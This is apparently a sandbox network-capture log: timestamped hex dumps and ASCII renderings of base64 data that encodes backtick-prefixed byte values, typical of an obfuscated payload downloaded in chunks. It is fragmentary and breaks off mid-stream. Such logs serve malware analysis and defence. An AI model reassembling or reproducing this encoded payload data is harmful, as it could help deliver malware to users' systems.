73 59 45 46 44 4c 47 41 77 52 53 78 67 52 44 67 73 59 44 46 44 4c 47 41 32 4d 43 78 67 4e 55 59 73 59 45 5a 46 4c 47 
42 47 4d 69 78 67 52 55 59 73 59 45 5a 47 4c 47 41 7a 4d 79 78 67 52 54 6b 73 59 44 56 47 4c 47 42 47 4d 43 78 67 4e 4
4 63 73 59 44 64 44 4c 47 41 7a 4e 79 78 67 51 7a 67 73 59 44 51 31 4c 47 41 7a 52 43 78 67 52 6a 67 73 59 44 6b 33 4c 
47 41 33 52 53 78 67 4d 55 45 73 59 44 59 77 4c 47 41 78 4d 79 78 67 4d 45 59 73 59 45 56 44 4c 47 42 46 52 53 78 67 
52 44 55 73 59 45 46 47 4c 47 41 78 52 69 78 67 51 7a 4d 73 59 44 6b 
Data Ascii: LGBGRCxgRTMsYDFFLGBGQixgNjksYEUzLGBERixgN0IsYEVCLGA0MixgQzAsYDdFLGA0QyxgMzksYE
FDLGAwRSxgRDgsYDFDLGA2MCxgNUYsYEZFLGBGMixgRUYsYEZGLGAzMyxgRTksYDVGLGBGMCxgNDcsYD
dDLGAzNyxgQzgsYDQ1LGAzRCxgRjgsYDk3LGA3RSxgMUEsYDYwLGAxMyxgMEYsYEVDLGBFRSxgRDUsYE
FGLGAxRixgQzMsYDk

2021-12-02 20:47:22 UTC 528 IN Data Raw: 4c 47 41 35 4e 79 78 67 52 44 4d 73 59 45 4a 47 4c 47 42 46 51 53 78 67 4f 54 4d 73 59 45 4e 47 4c 47 42 47 
52 53 78 67 4e 6a 67 73 59 44 46 47 4c 47 42 46 51 79 78 67 4f 45 49 73 59 44 64 47 4c 47 42 46 4f 53 78 67 4e 45 59 73 
59 44 41 33 4c 47 42 45 4f 43 78 67 52 45 59 73 59 45 51 78 4c 47 41 77 4d 79 78 67 52 6b 49 73 59 44 42 47 4c 47 42 
47 52 43 78 67 4d 54 55 73 59 44 49 78 4c 47 41 32 4f 53 78 67 4d 54 55 73 59 45 52 43 4c 47 41 78 4e 79 78 67 4d 30 
59 73 59 44 55 31 4c 47 41 33 52 69 78 67 52 45 4d 73 59 44 41 78 4c 47 42 45 51 69 78 67 4d 44 49 73 59 45 56 44 4c 4
7 41 35 52 69 78 67 52 6b 45 73 59 44 42 43 4c 47 42 47 52 69 78 67 52 55 51 73 59 44 4e 47 4c 47 41 79 51 79 78 67 52 
6b 51 73 59 44 67 31 4c 47 41 33 52 69 78 67 4e 44 59 73 59 44 46 
Data Ascii: LGA5NyxgRDMsYEJGLGBFQSxgOTMsYENGLGBGRSxgNjgsYDFGLGBFQyxgOEIsYDdGLGBF
OSxgNEYsYDA3LGBEOCxgREYsYEQxLGAwMyxgRkIsYDBGLGBGRCxgMTUsYDIxLGA2OSxgMTUsYERCLGAx
NyxgM0YsYDU1LGA3RixgREMsYDAxLGBEQixgMDIsYEVDLGA5RixgRkEsYDBCLGBGRixgRUQsYDNGLGAy
QyxgRkQsYDg1LGA3RixgNDYsYDF

2021-12-02 20:47:22 UTC 544 IN Data Raw: 4c 47 41 34 4d 79 78 67 4e 55 59 73 59 45 4d 33 4c 47 42 46 4e 79 78 67 4d 6b 4d 73 59 45 4a 43 4c 47 41 78 
4d 69 78 67 4e 45 59 73 59 44 52 46 4c 47 42 46 4f 53 78 67 51 6b 59 73 59 45 52 43 4c 47 41 77 4d 53 78 67 52 6b 49 
73 59 45 59 33 4c 47 41 32 4d 79 78 67 4d 6a 45 73 59 44 4a 46 4c 47 42 47 52 69 78 67 4e 55 51 73 59 45 4a 46 4c 47 
42 47 51 79 78 67 52 44 4d 73 59 45 51 79 4c 47 42 43 52 69 78 67 52 6b 59 73 59 44 4e 47 4c 47 41 7a 4f 43 78 67 52 6
b 51 73 59 45 52 43 4c 47 41 33 51 79 78 67 51 6a 41 73 59 44 59 33 4c 47 42 46 4f 53 78 67 51 6b 59 73 59 45 59 78 4c 
47 42 44 4e 79 78 67 52 6b 59 73 59 44 6c 47 4c 47 41 33 4e 69 78 67 4d 7a 45 73 59 45 55 35 4c 47 41 33 52 69 78 67 
52 55 55 73 59 45 4a 44 4c 47 42 47 4e 79 78 67 4f 44 63 73 59 45 55 
Data Ascii: LGA4MyxgNUYsYEM3LGBFNyxgMkMsYEJCLGAxMixgNEYsYDRFLGBFOSxgQkYsYERCLGAwMSxgRkIsYE
Y3LGA2MyxgMjEsYDJFLGBGRixgNUQsYEJFLGBGQyxgRDMsYEQyLGBCRixgRkYsYDNGLGAzOCxgRkQsYE
RCLGA3QyxgQjAsYDY3LGBFOSxgQkYsYEYxLGBDNyxgRkYsYDlGLGA3NixgMzEsYEU5LGA3RixgRUUsYE
JDLGBGNyxgODcsYEU
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2021-12-02 20:47:22 UTC 560 IN Data Raw: 4c 47 42 45 52 69 78 67 52 6b 4d 73 59 45 51 33 4c 47 41 34 4e 53 78 67 4e 30 4d 73 59 45 59 77 4c 47 41 32 
51 69 78 67 52 54 63 73 59 45 55 35 4c 47 42 42 4e 79 78 67 51 6b 59 73 59 45 5a 42 4c 47 41 35 4d 79 78 67 52 6b 59 
73 59 44 4a 46 4c 47 41 30 52 69 78 67 51 6b 59 73 59 45 5a 42 4c 47 42 47 4e 79 78 67 52 6b 59 73 59 44 68 45 4c 47 
42 45 52 69 78 67 4d 30 4d 73 59 44 4a 45 4c 47 42 47 52 53 78 67 51 6a 4d 73 59 44 4e 47 4c 47 42 47 4d 53 78 67 51 6
a 63 73 59 45 5a 46 4c 47 41 79 4f 53 78 67 4e 6a 49 73 59 45 55 7a 4c 47 42 47 4e 43 78 67 51 6a 63 73 59 45 5a 44 4c 
47 41 7a 52 43 78 67 52 45 55 73 59 45 4e 44 4c 47 41 33 52 53 78 67 52 55 45 73 59 44 6b 33 4c 47 42 47 51 79 78 67 
4e 6b 49 73 59 44 59 32 4c 47 42 45 52 53 78 67 52 6b 59 73 59 45 59 
Data Ascii: LGBERixgRkMsYEQ3LGA4NSxgN0MsYEYwLGA2QixgRTcsYEU5LGBBNyxgQkYsYEZBLGA5MyxgRkYsYD
JFLGA0RixgQkYsYEZBLGBGNyxgRkYsYDhELGBERixgM0MsYDJELGBGRSxgQjMsYDNGLGBGMSxgQjcsYE
ZFLGAyOSxgNjIsYEUzLGBGNCxgQjcsYEZDLGAzRCxgREUsYENDLGA3RSxgRUEsYDk3LGBGQyxgNkIsYD
Y2LGBERSxgRkYsYEY

2021-12-02 20:47:22 UTC 576 IN Data Raw: 4c 47 41 31 4f 53 78 67 4e 30 59 73 59 45 56 45 4c 47 41 32 52 69 78 67 4f 54 51 73 59 45 5a 46 4c 47 41 30 
4e 53 78 67 52 6b 59 73 59 45 4e 46 4c 47 41 7a 52 69 78 67 4e 30 55 73 59 44 6c 45 4c 47 42 42 4e 53 78 67 4d 54 63 
73 59 44 64 47 4c 47 42 46 52 69 78 67 52 55 59 73 59 45 59 31 4c 47 42 43 52 43 78 67 4e 7a 51 73 59 45 5a 45 4c 47 
42 47 51 79 78 67 52 44 55 73 59 45 5a 47 4c 47 41 35 4d 69 78 67 4e 6a 55 73 59 45 55 35 4c 47 41 78 52 69 78 67 52 6
b 55 73 59 45 45 33 4c 47 42 47 51 79 78 67 4e 45 59 73 59 45 4a 47 4c 47 41 33 52 69 78 67 52 6b 45 73 59 44 42 47 4c 
47 42 47 51 79 78 67 4d 6b 49 73 59 45 5a 47 4c 47 42 47 4e 43 78 67 51 54 4d 73 59 44 4a 44 4c 47 41 35 52 43 78 67 
52 6b 51 73 59 44 6c 45 4c 47 42 43 4d 79 78 67 4e 30 59 73 59 44 4a 
Data Ascii: LGA1OSxgN0YsYEVELGA2RixgOTQsYEZFLGA0NSxgRkYsYENFLGAzRixgN0UsYDlELGBBNSxgMTcsYD
dGLGBFRixgRUYsYEY1LGBCRCxgNzQsYEZELGBGQyxgRDUsYEZGLGA5MixgNjUsYEU5LGAxRixgRkUsYE
E3LGBGQyxgNEYsYEJGLGA3RixgRkEsYDBGLGBGQyxgMkIsYEZGLGBGNCxgQTMsYDJDLGA5RCxgRkQsYD
lELGBCMyxgN0YsYDJ

2021-12-02 20:47:22 UTC 592 IN Data Raw: 4c 47 41 33 52 69 78 67 52 54 45 73 59 44 56 47 4c 47 42 47 4d 43 78 67 4e 44 63 73 59 45 5a 44 4c 47 42 42 
4e 79 78 67 4d 55 49 73 59 44 49 32 4c 47 42 47 4d 79 78 67 4d 6a 63 73 59 44 51 7a 4c 47 41 33 4e 79 78 67 52 6a 41 
73 59 45 52 45 4c 47 42 46 51 79 78 67 4e 6b 55 73 59 44 6c 42 4c 47 42 47 52 53 78 67 51 55 51 73 59 45 4d 35 4c 47 
41 35 52 43 78 67 52 6b 59 73 59 44 4d 34 4c 47 41 79 4d 43 78 67 51 30 45 73 59 45 5a 47 4c 47 42 45 4d 69 78 67 4e 7
a 45 73 59 44 4d 79 4c 47 42 47 52 53 78 67 51 7a 59 73 59 44 64 47 4c 47 41 7a 4e 53 78 67 4d 6a 51 73 59 45 4e 42 4c 
47 41 30 51 79 78 67 4f 44 6b 73 59 45 59 79 4c 47 41 32 51 69 78 67 52 6b 55 73 59 44 6c 42 4c 47 41 79 4d 53 78 67 
4e 54 45 73 59 44 64 46 4c 47 41 7a 52 43 78 67 4d 6a 45 73 59 44 42 
Data Ascii: LGA3RixgRTEsYDVGLGBGMCxgNDcsYEZDLGBBNyxgMUIsYDI2LGBGMyxgMjcsYDQzLGA3NyxgRjAsYE
RELGBFQyxgNkUsYDlBLGBGRSxgQUQsYEM5LGA5RCxgRkYsYDM4LGAyMCxgQ0EsYEZGLGBEMixgNzEsYD
MyLGBGRSxgQzYsYDdGLGAzNSxgMjQsYENBLGA0QyxgODksYEYyLGA2QixgRkUsYDlBLGAyMSxgNTEsYD
dFLGAzRCxgMjEsYDB

2021-12-02 20:47:22 UTC 608 IN Data Raw: 4c 47 42 47 52 43 78 67 51 30 51 73 59 45 5a 46 4c 47 42 44 4f 53 78 67 52 6b 59 73 59 44 4d 30 4c 47 41 30 
52 69 78 67 52 6b 59 73 59 45 56 47 4c 47 41 32 52 69 78 67 52 6b 59 73 59 45 45 31 4c 47 41 32 52 69 78 67 4e 30 55 
73 59 44 4a 42 4c 47 42 47 52 43 78 67 4e 45 49 73 59 45 5a 47 4c 47 42 42 4d 53 78 67 52 6a 4d 73 59 45 5a 47 4c 47 
41 79 4d 53 78 67 4f 55 51 73 59 45 5a 46 4c 47 41 78 4e 69 78 67 52 6b 59 73 59 45 4e 42 4c 47 41 32 52 69 78 67 4f 54 
51 73 59 45 45 31 4c 47 41 31 52 69 78 67 4d 55 4d 73 59 45 5a 45 4c 47 42 43 51 69 78 67 51 6b 59 73 59 44 52 43 4c 4
7 42 47 51 53 78 67 4f 54 63 73 59 45 5a 46 4c 47 42 44 4e 53 78 67 4d 45 59 73 59 45 5a 47 4c 47 42 42 4e 69 78 67 52 
45 59 73 59 44 49 33 4c 47 42 42 4d 79 78 67 4f 54 45 73 59 44 6c 
Data Ascii: LGBGRCxgQ0QsYEZFLGBDOSxgRkYsYDM0LGA0RixgRkYsYEVGLGA2RixgRkYsYEE1LGA2RixgN0UsYD
JBLGBGRCxgNEIsYEZGLGBBMSxgRjMsYEZGLGAyMSxgOUQsYEZFLGAxNixgRkYsYENBLGA2RixgOTQsYE
E1LGA1RixgMUMsYEZELGBCQixgQkYsYDRCLGBGQSxgOTcsYEZFLGBDNSxgMEYsYEZGLGBBNixgREYsYD
I3LGBBMyxgOTEsYDl

2021-12-02 20:47:22 UTC 624 IN Data Raw: 4c 47 41 78 52 53 78 67 52 6a 6b 73 59 45 45 7a 4c 47 42 47 52 69 78 67 4f 44 45 73 59 45 4a 47 4c 47 42 47 
4d 79 78 67 4d 30 59 73 59 44 52 46 4c 47 42 47 52 69 78 67 51 55 59 73 59 44 4e 47 4c 47 41 33 4d 53 78 67 52 54 63 
73 59 45 49 33 4c 47 41 30 51 69 78 67 52 6b 59 73 59 45 45 35 4c 47 41 31 52 69 78 67 52 6b 59 73 59 45 4d 33 4c 47 
41 79 52 69 78 67 4e 30 55 73 59 45 56 47 4c 47 42 47 4e 43 78 67 4d 54 63 73 59 45 5a 47 4c 47 41 79 52 43 78 67 52 4
5 59 73 59 45 5a 43 4c 47 41 78 52 69 78 67 52 6a 4d 73 59 45 52 47 4c 47 41 34 4e 79 78 67 4d 45 4d 73 59 45 4d 79 4c 
47 42 46 4e 43 78 67 4d 6b 59 73 59 45 5a 44 4c 47 42 46 4d 69 78 67 4f 54 49 73 59 44 55 32 4c 47 41 77 4d 53 78 67 
51 6b 55 73 59 45 5a 47 4c 47 41 31 4d 79 78 67 51 55 59 73 59 44 59 
Data Ascii: LGAxRSxgRjksYEEzLGBGRixgODEsYEJGLGBGMyxgM0YsYDRFLGBGRixgQUYsYDNGLGA3MSxgRTcsYE
I3LGA0QixgRkYsYEE5LGA1RixgRkYsYEM3LGAyRixgN0UsYEVGLGBGNCxgMTcsYEZGLGAyRCxgREYsYE
ZCLGAxRixgRjMsYERGLGA4NyxgMEMsYEMyLGBFNCxgMkYsYEZDLGBFMixgOTIsYDU2LGAwMSxgQkUsYE
ZGLGA1MyxgQUYsYDY

2021-12-02 20:47:22 UTC 640 IN Data Raw: 4c 47 42 47 4f 53 78 67 4f 55 59 73 59 45 51 77 4c 47 42 43 52 69 78 67 52 6a 55 73 59 45 49 7a 4c 47 42 47 
52 69 78 67 4f 45 51 73 59 45 5a 46 4c 47 42 43 52 43 78 67 52 6a 4d 73 59 45 59 30 4c 47 42 45 4e 79 78 67 52 6b 59 
73 59 44 52 45 4c 47 42 42 4f 43 78 67 52 54 55 73 59 44 5a 47 4c 47 42 47 4f 53 78 67 4d 30 49 73 59 45 51 78 4c 47 42 
43 52 69 78 67 4e 30 59 73 59 45 51 34 4c 47 42 46 4f 53 78 67 4d 30 51 73 59 45 5a 42 4c 47 42 47 4e 79 78 67 51 7a 
63 73 59 44 4e 46 4c 47 41 33 52 43 78 67 4e 44 45 73 59 45 5a 47 4c 47 41 7a 52 53 78 67 4e 30 4d 73 59 44 55 32 4c 4
7 42 45 4d 43 78 67 51 6b 59 73 59 45 5a 47 4c 47 42 45 4f 43 78 67 52 54 6b 73 59 44 4a 47 4c 47 42 42 4d 53 78 67 4e 
30 59 73 59 45 5a 47 4c 47 42 44 4e 69 78 67 52 45 59 73 59 45 59 
Data Ascii: LGBGOSxgOUYsYEQwLGBCRixgRjUsYEIzLGBGRixgOEQsYEZFLGBCRCxgRjMsYEY0LGBENyxgRkYsYD
RELGBBOCxgRTUsYDZGLGBGOSxgM0IsYEQxLGBCRixgN0YsYEQ4LGBFOSxgM0QsYEZBLGBGNyxgQzcsYD
NFLGA3RCxgNDEsYEZGLGAzRSxgN0MsYDU2LGBEMCxgQkYsYEZGLGBEOCxgRTksYDJGLGBBMSxgN0YsYE
ZGLGBDNixgREYsYEY

2021-12-02 20:47:22 UTC 656 IN Data Raw: 4c 47 42 43 52 69 78 67 52 44 59 73 59 44 6c 47 4c 47 42 47 51 53 78 67 52 54 6b 73 59 44 64 47 4c 47 41 30 
52 43 78 67 4e 6b 51 73 59 45 5a 46 4c 47 42 47 4d 79 78 67 51 30 59 73 59 45 5a 46 4c 47 41 79 4e 53 78 67 52 6b 45 
73 59 45 59 32 4c 47 41 77 52 69 78 67 51 54 63 73 59 44 64 47 4c 47 41 33 4e 79 78 67 4e 30 59 73 59 44 68 45 4c 47 
42 43 52 69 78 67 4f 44 4d 73 59 45 52 46 4c 47 42 47 51 53 78 67 51 6a 45 73 59 44 56 47 4c 47 42 46 4d 79 78 67 52 4
5 59 73 59 45 59 35 4c 47 41 78 4e 43 78 67 4f 55 59 73 59 45 5a 44 4c 47 41 31 52 53 78 67 51 7a 63 73 59 45 4d 77 4c 
47 42 46 4e 79 78 67 52 45 59 73 59 45 5a 42 4c 47 42 46 51 79 78 67 4e 30 59 73 59 45 5a 44 4c 47 42 46 4f 43 78 67 
4e 55 59 73 59 45 5a 46 4c 47 41 7a 4e 53 78 67 4f 54 4d 73 59 44 67 
Data Ascii: LGBCRixgRDYsYDlGLGBGQSxgRTksYDdGLGA0RCxgNkQsYEZFLGBGMyxgQ0YsYEZFLGAyNSxgRkEsYE
Y2LGAwRixgQTcsYDdGLGA3NyxgN0YsYDhELGBCRixgODMsYERFLGBGQSxgQjEsYDVGLGBFMyxgREYsYE
Y5LGAxNCxgOUYsYEZDLGA1RSxgQzcsYEMwLGBFNyxgREYsYEZBLGBFQyxgN0YsYEZDLGBFOCxgNUYsYE
ZFLGAzNSxgOTMsYDg
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2021-12-02 20:47:22 UTC 668 IN Data Raw: 4c 47 42 45 4e 79 78 67 52 6a 6b 73 59 44 6b 35 4c 47 42 45 52 69 78 67 52 54 6b 73 59 45 49 7a 4c 47 41 31 
52 69 78 67 52 54 4d 73 59 44 4a 47 4c 47 42 47 51 79 78 67 4d 7a 55 73 59 44 68 47 4c 47 42 46 4f 53 78 67 52 6b 59 
73 59 45 55 79 4c 47 42 42 4e 79 78 67 52 6b 4d 73 59 44 59 32 4c 47 42 46 51 53 78 67 51 55 59 73 59 45 5a 44 4c 47 
42 46 4e 69 78 67 51 6b 59 73 59 45 4d 32 4c 47 41 78 52 69 78 67 52 6b 55 73 59 44 4e 43 4c 47 42 47 52 43 78 67 52 4
4 45 73 59 45 4a 47 4c 47 42 45 4d 79 78 67 4e 30 59 73 59 45 59 78 4c 47 41 7a 51 69 78 67 52 6b 51 73 59 44 5a 43 4c 
47 42 43 52 69 78 67 52 54 41 73 59 45 4a 47 4c 47 42 47 51 53 78 67 4d 44 55 73 59 45 4a 47 4c 47 42 47 4d 53 78 67 
52 55 59 73 59 45 59 79 4c 47 41 31 51 69 78 67 52 6b 55 73 59 44 4a 
Data Ascii: LGBENyxgRjksYDk5LGBERixgRTksYEIzLGA1RixgRTMsYDJGLGBGQyxgMzUsYDhGLGBFOSxgRkYsYE
UyLGBBNyxgRkMsYDY2LGBFQSxgQUYsYEZDLGBFNixgQkYsYEM2LGAxRixgRkUsYDNCLGBGRCxgRDEsYE
JGLGBEMyxgN0YsYEYxLGAzQixgRkQsYDZCLGBCRixgRTAsYEJGLGBGQSxgMDUsYEJGLGBGMSxgRUYsYE
YyLGA1QixgRkUsYDJ

2021-12-02 20:47:22 UTC 684 IN Data Raw: 4c 47 42 46 52 69 78 67 52 6b 55 73 59 44 46 42 4c 47 42 47 52 69 78 67 52 54 67 73 59 44 56 47 4c 47 42 47 
52 69 78 67 4e 55 49 73 59 45 5a 44 4c 47 41 79 4d 79 78 67 4e 30 59 73 59 45 55 35 4c 47 41 7a 52 69 78 67 52 6b 45 
73 59 44 55 33 4c 47 41 7a 51 79 78 67 51 54 51 73 59 45 56 44 4c 47 42 45 51 53 78 67 4d 30 59 73 59 45 59 79 4c 47 
42 42 4e 79 78 67 4d 30 59 73 59 45 59 34 4c 47 41 30 4e 79 78 67 52 6b 55 73 59 44 52 42 4c 47 42 47 51 53 78 67 52 5
4 51 73 59 45 4e 47 4c 47 41 33 51 53 78 67 52 6b 45 73 59 44 68 47 4c 47 42 47 52 53 78 67 4f 44 55 73 59 45 4a 47 4c 
47 42 46 4d 43 78 67 52 44 45 73 59 45 46 47 4c 47 42 47 4d 53 78 67 4f 45 59 73 59 45 5a 46 4c 47 41 33 52 43 78 67 
52 55 59 73 59 45 56 46 4c 47 42 47 51 79 78 67 51 54 4d 73 59 44 64 
Data Ascii: LGBFRixgRkUsYDFBLGBGRixgRTgsYDVGLGBGRixgNUIsYEZDLGAyMyxgN0YsYEU5LGAzRixgRkEsYD
U3LGAzQyxgQTQsYEVDLGBEQSxgM0YsYEYyLGBBNyxgM0YsYEY4LGA0NyxgRkUsYDRBLGBGQSxgRTQsYE
NGLGA3QSxgRkEsYDhGLGBGRSxgODUsYEJGLGBFMCxgRDEsYEFGLGBGMSxgOEYsYEZFLGA3RCxgRUYsYE
VFLGBGQyxgQTMsYDd

2021-12-02 20:47:22 UTC 700 IN Data Raw: 4c 47 41 33 4d 69 78 67 52 6b 45 73 59 44 45 77 4c 47 41 30 52 53 78 67 4d 30 51 73 59 44 59 31 4c 47 41 31 
4d 43 78 67 52 6a 59 73 59 44 63 32 4c 47 41 32 52 53 78 67 51 54 4d 73 59 45 4a 45 4c 47 41 78 52 69 78 67 52 55 55 
73 59 44 4e 47 4c 47 42 45 52 43 78 67 52 6a 6b 73 59 44 45 30 4c 47 41 32 51 69 78 67 51 6b 4d 73 59 45 5a 43 4c 47 
42 47 4e 79 78 67 52 54 45 73 59 45 59 7a 4c 47 41 77 4d 43 78 67 4d 45 45 73 59 44 4a 45 4c 47 42 45 51 69 78 67 52 5
5 55 73 59 44 55 78 4c 47 41 31 4d 69 78 67 4d 44 59 73 59 45 49 34 4c 47 41 31 4d 43 78 67 4f 54 59 73 59 45 56 44 4c 
47 42 45 4d 79 78 67 52 45 49 73 59 45 55 77 4c 47 42 47 4d 69 78 67 52 54 41 73 59 45 5a 46 4c 47 41 77 52 53 78 67 
51 55 51 73 59 45 4d 33 4c 47 41 30 4d 69 78 67 52 6a 51 73 59 44 46 
Data Ascii: LGA3MixgRkEsYDEwLGA0RSxgM0QsYDY1LGA1MCxgRjYsYDc2LGA2RSxgQTMsYEJELGAxRixgRUUsYD
NGLGBERCxgRjksYDE0LGA2QixgQkMsYEZCLGBGNyxgRTEsYEYzLGAwMCxgMEEsYDJELGBEQixgRUUsYD
UxLGA1MixgMDYsYEI4LGA1MCxgOTYsYEVDLGBEMyxgREIsYEUwLGBGMixgRTAsYEZFLGAwRSxgQUQsYE
M3LGA0MixgRjQsYDF

2021-12-02 20:47:22 UTC 716 IN Data Raw: 4c 47 42 42 52 69 78 67 4e 44 45 73 59 44 59 30 4c 47 42 47 4f 43 78 67 4e 7a 4d 73 59 44 42 47 4c 47 42 47 
52 69 78 67 52 44 45 73 59 45 4a 47 4c 47 42 46 4e 69 78 67 4d 55 59 73 59 45 5a 45 4c 47 41 7a 4d 79 78 67 4e 30 55 
73 59 44 68 45 4c 47 42 44 52 69 78 67 52 54 6b 73 59 45 51 31 4c 47 42 43 52 69 78 67 4e 6a 67 73 59 45 55 33 4c 47 
41 78 52 69 78 67 52 6a 6b 73 59 44 4d 7a 4c 47 41 33 52 69 78 67 4f 45 51 73 59 44 64 47 4c 47 42 46 4e 43 78 67 4f 45 
59 73 59 45 45 79 4c 47 42 45 4e 69 78 67 4e 30 59 73 59 45 52 42 4c 47 41 7a 52 69 78 67 52 6b 45 73 59 45 4d 33 4c 4
7 42 47 52 69 78 67 4d 6a 4d 73 59 44 64 47 4c 47 42 47 4e 69 78 67 51 55 59 73 59 45 59 78 4c 47 42 47 4e 69 78 67 4d 
55 59 73 59 45 59 35 4c 47 42 43 51 69 78 67 4e 55 55 73 59 44 4e 
Data Ascii: LGBBRixgNDEsYDY0LGBGOCxgNzMsYDBGLGBGRixgRDEsYEJGLGBFNixgMUYsYEZELGAzMyxgN0UsYD
hELGBDRixgRTksYEQ1LGBCRixgNjgsYEU3LGAxRixgRjksYDMzLGA3RixgOEQsYDdGLGBFNCxgOEYsYEEyLGBENixg
N0YsYERBLGAzRixgRkEsYEM3LGBGRixgMjMsYDdGLGBGNixgQUYsYEYxLGBGNixgMUYsYEY5LGBCQixgNUUsYDN

2021-12-02 20:47:22 UTC 732 IN Data Raw: 4c 47 41 78 4f 43 78 67 4d 30 59 73 59 45 49 78 4c 47 41 77 4d 79 78 67 51 7a 49 73 59 44 4d 78 4c 47 42 43 
52 69 78 67 51 7a 59 73 59 44 5a 47 4c 47 42 47 52 53 78 67 4f 54 41 73 59 44 64 43 4c 47 41 78 4d 69 78 67 51 6b 51 
73 59 45 4d 34 4c 47 42 45 52 53 78 67 51 54 4d 73 59 44 59 79 4c 47 41 79 4e 69 78 67 52 6a 45 73 59 44 67 35 4c 47 
41 31 4d 43 78 67 4d 44 45 73 59 44 6b 30 4c 47 41 34 4e 53 78 67 51 6b 51 73 59 44 4d 77 4c 47 41 7a 4e 69 78 67 4e 6
a 45 73 59 44 67 33 4c 47 41 32 4d 53 78 67 4e 45 45 73 59 45 59 32 4c 47 41 30 52 43 78 67 51 6a 51 73 59 45 51 77 4c 
47 41 77 4d 79 78 67 4e 6b 55 73 59 44 68 47 4c 47 41 33 4d 53 78 67 4d 54 67 73 59 45 5a 43 4c 47 41 79 4e 79 78 67 
52 44 49 73 59 44 67 30 4c 47 42 45 4e 69 78 67 4e 6a 49 73 59 44 45 
Data Ascii: LGAxOCxgM0YsYEIxLGAwMyxgQzIsYDMxLGBCRixgQzYsYDZGLGBGRSxgOTAsYDdCLGAxMixgQkQsYE
M4LGBERSxgQTMsYDYyLGAyNixgRjEsYDg5LGA1MCxgMDEsYDk0LGA4NSxgQkQsYDMwLGAzNixgNjEsYD
g3LGA2MSxgNEEsYEY2LGA0RCxgQjQsYEQwLGAwMyxgNkUsYDhGLGA3MSxgMTgsYEZCLGAyNyxgRDIsYD
g0LGBENixgNjIsYDE

2021-12-02 20:47:22 UTC 748 IN Data Raw: 4c 47 41 34 4e 69 78 67 52 6b 55 73 59 44 46 42 4c 47 42 43 52 69 78 67 51 6a 6b 73 59 44 63 77 4c 47 42 42 
51 53 78 67 4e 54 6b 73 59 44 59 31 4c 47 42 45 51 79 78 67 52 54 63 73 59 45 51 78 4c 47 41 34 51 69 78 67 4f 44 63 
73 59 44 5a 43 4c 47 42 42 4d 69 78 67 4d 6b 59 73 59 45 51 34 4c 47 41 33 4d 69 78 67 51 6a 45 73 59 45 56 45 4c 47 
41 32 4d 69 78 67 52 44 45 73 59 44 49 31 4c 47 42 45 51 69 78 67 4d 6b 59 73 59 44 6b 32 4c 47 41 32 51 79 78 67 4f 4
4 63 73 59 44 49 78 4c 47 42 46 52 53 78 67 4e 7a 45 73 59 44 4a 43 4c 47 42 47 4e 69 78 67 4d 44 49 73 59 45 51 31 4c 
47 41 32 4d 79 78 67 4d 54 51 73 59 45 4d 35 4c 47 41 78 4e 53 78 67 4f 45 59 73 59 44 67 35 4c 47 41 7a 52 43 78 67 
4d 55 51 73 59 45 59 31 4c 47 41 32 4f 53 78 67 4d 6a 51 73 59 45 49 
Data Ascii: LGA4NixgRkUsYDFBLGBCRixgQjksYDcwLGBBQSxgNTksYDY1LGBEQyxgRTcsYEQxLGA4QixgODcsYD
ZCLGBBMixgMkYsYEQ4LGA3MixgQjEsYEVELGA2MixgRDEsYDI1LGBEQixgMkYsYDk2LGA2QyxgODcsYD
IxLGBFRSxgNzEsYDJCLGBGNixgMDIsYEQ1LGA2MyxgMTQsYEM5LGAxNSxgOEYsYDg5LGAzRCxgMUQsYE
Y1LGA2OSxgMjQsYEI

2021-12-02 20:47:22 UTC 764 IN Data Raw: 4c 47 41 77 4f 43 78 67 4d 45 51 73 59 44 59 30 4c 47 42 45 52 43 78 67 4e 44 6b 73 59 44 4d 30 4c 47 42 45 
4e 69 78 67 4d 44 4d 73 59 45 5a 46 4c 47 41 30 51 79 78 67 4e 6a 51 73 59 44 41 33 4c 47 41 35 4e 43 78 67 4d 54 41 
73 59 44 46 43 4c 47 41 79 4f 43 78 67 51 54 4d 73 59 44 45 32 4c 47 41 79 4f 53 78 67 4e 7a 55 73 59 44 4d 32 4c 47 42 
45 4d 43 78 67 52 54 67 73 59 44 46 42 4c 47 42 44 4d 43 78 67 51 7a 41 73 59 44 6b 34 4c 47 41 34 51 79 78 67 4d 6b 
55 73 59 44 45 31 4c 47 41 32 4f 53 78 67 4d 54 4d 73 59 44 42 45 4c 47 42 44 52 69 78 67 4e 30 4d 73 59 45 4e 43 4c 4
7 42 47 52 43 78 67 4d 54 6b 73 59 45 5a 45 4c 47 41 79 52 53 78 67 52 6b 55 73 59 45 59 35 4c 47 41 79 52 53 78 67 4e 
7a 4d 73 59 45 49 79 4c 47 41 31 4d 43 78 67 4e 55 4d 73 59 44 49 
Data Ascii: LGAwOCxgMEQsYDY0LGBERCxgNDksYDM0LGBENixgMDMsYEZFLGA0QyxgNjQsYDA3LGA5
NCxgMTAsYDFCLGAyOCxgQTMsYDE2LGAyOSxgNzUsYDM2LGBEMCxgRTgsYDFBLGBDMCxgQzAsYDk4LGA4
QyxgMkUsYDE1LGA2OSxgMTMsYDBELGBDRixgN0MsYENCLGBGRCxgMTksYEZELGAyRSxgRkUsYEY5LGAy
RSxgNzMsYEIyLGA1MCxgNUMsYDI
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2021-12-02 20:47:22 UTC 780 IN Data Raw: 4c 47 42 43 52 69 78 67 51 30 49 73 59 44 64 47 4c 47 41 79 52 53 78 67 4d 6a 63 73 59 44 49 79 4c 47 42 47 
52 53 78 67 4f 54 49 73 59 44 63 34 4c 47 41 7a 4e 43 78 67 52 6a 67 73 59 44 46 46 4c 47 41 78 4d 69 78 67 4e 6a 63 
73 59 45 59 79 4c 47 41 31 51 79 78 67 51 7a 59 73 59 44 46 47 4c 47 41 7a 4e 79 78 67 52 6a 4d 73 59 44 49 35 4c 47 
42 45 51 53 78 67 51 30 4d 73 59 44 59 30 4c 47 42 43 51 69 78 67 4d 55 51 73 59 44 41 30 4c 47 42 45 4d 53 78 67 4f 4
4 4d 73 59 45 55 79 4c 47 41 33 52 69 78 67 51 6b 45 73 59 45 46 44 4c 47 41 34 4d 53 78 67 52 54 67 73 59 44 55 34 4c 
47 42 45 4d 53 78 67 4e 6a 55 73 59 44 41 79 4c 47 42 44 4d 79 78 67 52 54 41 73 59 44 4a 44 4c 47 41 7a 4d 79 78 67 
4d 6b 49 73 59 45 59 78 4c 47 41 78 4f 53 78 67 52 54 59 73 59 45 59 
Data Ascii: LGBCRixgQ0IsYDdGLGAyRSxgMjcsYDIyLGBGRSxgOTIsYDc4LGAzNCxgRjgsYDFFLGAxMixgNjcsYE
